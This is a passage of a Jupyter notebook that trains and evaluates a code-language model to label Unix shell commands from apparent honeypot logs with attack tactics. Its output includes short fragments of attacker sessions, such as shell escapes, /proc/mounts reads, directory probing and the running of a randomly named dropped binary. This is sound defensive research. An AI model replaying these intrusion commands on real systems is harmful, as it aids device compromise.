        full_labels+=true_labels
    val_loss = val_loss/len(unix_eval_dataloader)
    val_losses.append(val_loss)
    metrics = compute_metrics(full_predictions, full_labels)
    print(
        f"epoch {epoch}:",
        {
            key: metrics[key]
            for key in ["token_accuracy", "token_f1"]
        },
    )
    if val_loss <= best_val_loss:
        best_epoch = epoch
        best_val_loss = val_loss
        best_model_unix_freeze_only_head = deepcopy(best_model_unix_lastPoint)

plot_stats("UNIX FREEZE", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.2958199356913183, 'token_f1': 0.12898963311206538}
epoch 1: {'token_accuracy': 0.3215434083601286, 'token_f1': 0.1320012813735501}
epoch 2: {'token_accuracy': 0.347955902618282, 'token_f1': 0.13930609663730464}
epoch 3: {'token_accuracy': 0.3663298116674322, 'token_f1': 0.14331412392825524}
epoch 4: {'token_accuracy': 0.3833256775378962, 'token_f1': 0.150050760472068}
epoch 5: {'token_accuracy': 0.3987138263665595, 'token_f1': 0.15734683207700903}
epoch 6: {'token_accuracy': 0.4129536058796509, 'token_f1': 0.1622988087585906}
epoch 7: {'token_accuracy': 0.4283417547083142, 'token_f1': 0.16897294646385963}
epoch 8: {'token_accuracy': 0.44143316490583373, 'token_f1': 0.17499222422870736}
epoch 9: {'token_accuracy': 0.4552135966926964, 'token_f1': 0.1802283052240481}
epoch 10: {'token_accuracy': 0.4632521819016996, 'token_f1': 0.181691408155015}
epoch 11: {'token_accuracy': 0.4735875057418466, 'token_f1': 0.1841210927453731}
epoch 12: {'token_accuracy': 0.4818557648139642, 'token_f1': 0.18694950228368104}
epoch 13: {'token_accuracy': 0.48943500229673864, 'token_f1': 0.19017157937152737}
epoch 14: {'token_accuracy': 0.4958658704639412, 'token_f1': 0.191650768557369}
epoch 15: {'token_accuracy': 0.50367478180983, 'token_f1': 0.195237559754152}
epoch 16: {'token_accuracy': 0.5073495636196601, 'token_f1': 0.1968928273293967}
epoch 17: {'token_accuracy': 0.5128617363344051, 'token_f1': 0.19837461978196225}
epoch 18: {'token_accuracy': 0.5153881488286634, 'token_f1': 0.1991011054786524}
epoch 19: {'token_accuracy': 0.5195222783647221, 'token_f1': 0.20054070122285933}
epoch 20: {'token_accuracy': 0.522508038585209, 'token_f1': 0.20024063471202047}
epoch 21: {'token_accuracy': 0.5254937988056959, 'token_f1': 0.20122253529032935}
epoch 22: {'token_accuracy': 0.5305466237942122, 'token_f1': 0.20294606357073325}
epoch 23: {'token_accuracy': 0.5333027101515847, 'token_f1': 0.2042480282050969}
epoch 24: {'token_accuracy': 0.5349104271933854, 'token_f1': 0.2047873874977535}
epoch 25: {'token_accuracy': 0.5367478180983004, 'token_f1': 0.20544225185254042}
epoch 26: {'token_accuracy': 0.539503904455673, 'token_f1': 0.20637984304375603}
epoch 27: {'token_accuracy': 0.5399632521819017, 'token_f1': 0.20651985007521517}
epoch 28: {'token_accuracy': 0.5404225999081305, 'token_f1': 0.20668291467401353}
epoch 29: {'token_accuracy': 0.5411116214974736, 'token_f1': 0.2069381741295982}
In [ ]:
# Evaluation
best_model_unix_lastPoint.eval()
full_predictions, full_labels = [], []
for batch in unix_test_dataloader:
    batch = {key:value.to(device) for key, value in batch.items()}
    with torch.no_grad():
        # Another way to pass the items to the model
        outputs = best_model_unix_freeze_only_head(**batch)
    # Extract the predictions
    predictions = outputs.logits.argmax(dim=-1)
    labels = batch["labels"]
    true_predictions, true_labels = postprocess(predictions, labels)
    full_predictions+=true_predictions
    full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)

for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
    print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")

compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy      :  49.66%
token_f1            :  17.59%
token_precision     :  26.27%
token_recall        :  18.75%
Out[ ]:
array([[3.09734513e-01, 6.24013394e-01, 4.56828510e-02, 1.19588615e-03,
        2.39177230e-03, 8.61038029e-03, 8.37120306e-03],
       [5.78788361e-02, 8.87581491e-01, 3.41866751e-02, 6.99634282e-03,
        4.77023374e-04, 2.06710129e-03, 1.08125298e-02],
       [2.79787747e-02, 8.87602508e-01, 8.44187168e-02, 0.00000000e+00,
        0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
       [1.49484536e-01, 7.44845361e-01, 6.44329897e-02, 7.73195876e-03,
        5.15463918e-03, 1.28865979e-02, 1.54639175e-02],
       [3.00606061e-01, 6.29090909e-01, 3.75757576e-02, 3.63636364e-03,
        1.57575758e-02, 9.69696970e-03, 3.63636364e-03],
       [2.85024155e-01, 4.29951691e-01, 2.75362319e-01, 0.00000000e+00,
        9.66183575e-03, 0.00000000e+00, 0.00000000e+00],
       [8.05860806e-02, 6.66666667e-01, 2.38095238e-01, 3.66300366e-03,
        3.66300366e-03, 0.00000000e+00, 7.32600733e-03]])

Task4

In [ ]:
# TASK4
df = pd.read_csv('cyberlab.csv')

# Hyperparameters
batch_size = 16
max_word_length = 30
max_session_tokens = 512

best_model_unix_4 = deepcopy(best_model_unix)

# Device configuration
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"Using device: {device}")

best_model_unix_4.to(device)
best_model_unix_4.eval()

#full_predictions, full_labels = [], []

# Preprocess sessions
sessions = [s.split() for s in df['session'].tolist()]
sessions = [[w[:max_word_length] for w in sess] for sess in sessions]

# Load tokenizer
# use_fast=True per velocità e add_prefix_space per modelli RoBERTa
tokenizer = AutoTokenizer.from_pretrained(model2, use_fast=True)
tokenizer.add_prefix_space = True

# Batch inference with progress bar
results = []
for start_idx in tqdm(range(0, len(sessions), batch_size), desc="Inference batches"):
    batch = sessions[start_idx : start_idx + batch_size]
    encoding = tokenizer(
        batch,
        is_split_into_words=True,
        return_tensors='pt',
        truncation=True,
        max_length=max_session_tokens,
        padding=True
    )
    # Recupera word_ids prima di inviare a device
    batch_word_ids = [encoding.word_ids(batch_index=i) for i in range(len(batch))]
    inputs = {k: v.to(device) for k, v in encoding.items()}

    # Forward pass
    with torch.no_grad():
        outputs = best_model_unix_4(**inputs)
    pred_ids = torch.argmax(outputs.logits, dim=-1).cpu().tolist()

    # Estrai un tag per parola
    for batch_i, ids in enumerate(pred_ids):
        word_ids = batch_word_ids[batch_i]
        seen = set()
        tags = []
        for tok_i, wid in enumerate(word_ids):
            if wid is None or wid in seen:
                continue
            seen.add(wid)
            tags.append(id2label[ids[tok_i]])
        results.append(tags)

# Salva risultati nel CSV
output_path = 'inference.csv'
df['predicted_tags'] = results
df.to_csv(output_path, index=False)
print(f"Inference complete. Results saved to {output_path}.")

print(df["predicted_tags"])
Using device: cuda
loading file vocab.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/vocab.json
loading file merges.txt from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/merges.txt
loading file tokenizer.json from cache at None
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/special_tokens_map.json
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/tokenizer_config.json
loading file chat_template.jinja from cache at None
Inference complete. Results saved to inference.csv.
0         [Discovery, Discovery, Discovery, Discovery, D...
1         [Discovery, Discovery, Discovery, Discovery, D...
2         [Discovery, Discovery, Discovery, Discovery, D...
3         [Discovery, Discovery, Discovery, Discovery, D...
4         [Discovery, Discovery, Discovery, Discovery, D...
                                ...                        
174257    [Discovery, Discovery, Discovery, Discovery, D...
174258    [Discovery, Discovery, Discovery, Discovery, D...
174259    [Discovery, Discovery, Discovery, Discovery, D...
174260    [Discovery, Discovery, Discovery, Discovery, D...
174261    [Discovery, Discovery, Discovery, Discovery, D...
Name: predicted_tags, Length: 174262, dtype: object
In [ ]:
df_inf = pd.read_csv(output_path)
print(df_inf.head())
                                             session  \
0  enable ; system ; shell ; sh ; cat /proc/mount...   
1  enable ; system ; shell ; sh ; cat /proc/mount...   
2  enable ; system ; shell ; sh ; cat /proc/mount...   
3  enable ; system ; shell ; sh ; cat /proc/mount...   
4  enable ; system ; shell ; sh ; cat /proc/mount...   

              timestamps_statements country_name  \
0  2019-09-01 00:00:10.493808+00:00       Israel   
1  2019-09-01 00:38:41.134935+00:00       Israel   
2  2019-09-01 00:39:26.263383+00:00       Israel   
3  2019-09-01 00:40:45.132152+00:00       Israel   
4  2019-09-01 00:54:51.783935+00:00       Israel   

                                      predicted_tags  
0  ['Discovery', 'Discovery', 'Discovery', 'Disco...  
1  ['Discovery', 'Discovery', 'Discovery', 'Disco...  
2  ['Discovery', 'Discovery', 'Discovery', 'Disco...  
3  ['Discovery', 'Discovery', 'Discovery', 'Disco...  
4  ['Discovery', 'Discovery', 'Discovery', 'Disco...  
In [ ]:
import ast

# Parse the predicted_tags column from string to list if necessary
df_inf['predicted_tags'] = df_inf['predicted_tags'].apply(lambda x: ast.literal_eval(x) if isinstance(x, str) else x)

# Define commands of interest
commands = ['cat', 'grep', 'echo', 'rm']

# Gather occurrences of each command and its predicted tag
records = []
for _, row in df.iterrows():
    words = row['session'].split()
    tags = row['predicted_tags']
    for w, t in zip(words, tags):
        if w in commands:
            records.append({
                'command': w,
                'predicted_tag': t,
                'session': row['session']
            })

rec_df = pd.DataFrame(records)

# --- Tabella di frequenza comando × tag ---
freq_df = pd.crosstab(rec_df['command'], rec_df['predicted_tag'])

# --- Primo esempio per ogni (command, tag) ---
example_df = (
    rec_df
    .groupby(['command', 'predicted_tag'], as_index=False)
    .first()[['command','predicted_tag','session']]
)

# --- Stampa in Markdown ---
print("### Frequenze per comando e tag\n")
print(freq_df.to_markdown())
print("\n### Esempi di sessioni per (comando, tag)\n")
print(example_df.to_markdown(index=False))
### Frequenze per comando e tag

| command   |   Defense Evasion |   Discovery |   Execution |   Impact |   Not Malicious Yet |   Other |   Persistence |
|:----------|------------------:|------------:|------------:|---------:|--------------------:|--------:|--------------:|
| cat       |                 2 |      860979 |         583 |        0 |                   1 |       0 |             0 |
| echo      |               109 |      421927 |      119104 |        5 |               26178 |     232 |        192125 |
| grep      |                 0 |      995805 |           0 |        0 |                   0 |       0 |           569 |
| rm        |             34058 |      293489 |       12046 |        0 |                   4 |       0 |          5432 |

### Esempi di sessioni per (comando, tag)

| command   | predicted_tag     | session                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
|:----------|:------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------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--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| cat       | Defense Evasion   | wdir="/bin"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
|           |                   | for i in "/bin" "/home" "/root" "/tmp" "/usr" "/etc"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
|           |                   | exit $? ; /bin/skhqwensw ; ls -la /etc/daemon.cfg                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         